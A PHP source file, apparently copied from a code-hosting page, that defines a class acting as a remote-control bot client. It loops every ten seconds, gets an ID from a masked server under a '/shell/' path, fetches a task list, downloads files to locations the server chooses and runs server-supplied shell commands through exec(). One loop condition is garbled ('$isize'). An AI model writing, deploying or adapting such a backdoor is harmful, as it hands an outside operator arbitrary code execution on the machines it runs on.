class DaDiSys
{
private $srv_name= "http://***.***.com/shell/";
private $m_id_file = "D:/System/MY_ID.dat"; //ID
private $m_bb_file = "D:/System/MY_BB.dat"; //离线版本
private $m_id = "";
public function DaDiSys()
{
while(1)
{
$this->run();
sleep(10);
}
}
private function run()
{
$mid= $this->get_mid();
$this->m_id= $mid;
if(strlen($mid)>10) {
$this->MyRun();
} else {
$this->get_www_id();
}
}
//获取自己的ID
private function get_www_id()
{
$ret= file_get_contents($this->srv_name . "get.php?getid");
$json = json_decode($ret);
$this->set_mid($json->id);
}
//
private function MyRun()
{
$id= $this->m_id;
$ret= file_get_contents($this->srv_name . "get.php?id={$id}&getlist");
$this->ChuLiJSON($ret);
}
private function ChuLiJSON($data)
{
/*
{
size: 3,
mvar: 版本,
data:[
{lx:"下载文件", open:"需要下载的网址", save:"下载到本地的那个地方"},
{lx:"执行文件", shell:"通过cmd执行操作"}
]
}
*/
$json = json_decode($data);
$mm = $this->get_mbb();
$srv_mm = $json->mvar;
if($mm!==$srv_mm)
{
for($i=0;$isize;$i++)
{
if($json->data[$i]->lx==="下载文件")
{
$mopen= $json->data[$i]->open;
$msave= $json->data[$i]->save;
$this->downloadfile($mopen, $msave);
}
if($json->data[$i]->lx==="执行文件")
{
$mshell= $json->data[$i]->shell;
exec($mshell);
}
}
$this->set_mbb($srv_mm);
}
}
private function get_mid()
{
$f= fopen($this->m_id_file, "rb");
$ret= fread($f, 50);
fclose($f);
return $ret;
}
private function set_mid($mid)
{
$f= fopen($this->m_id_file, "wb");
fwrite($f, $mid);
fclose($f);
}
private function get_mbb()
{
$f= fopen($this->m_bb_file, "rb");
$ret= fread($f, 50);
fclose($f);
return $ret;
}
private function set_mbb($bb)
{
$f= fopen($this->m_bb_file, "wb");
fwrite($f, $bb);
fclose($f);
}
private function downloadfile($afile, $tofile)
{
$form= fopen($afile, "rb");
$to= fopen($tofile, "wb");
while(1)
{
$ret= fread($form, 500);
if(feof($form))break;
fwrite($to, $ret);
}
fclose($form);
fclose($to);
}
}
new DaDiSys();
?>
一键复制
编辑
Web IDE
原始数据
按行查看
历史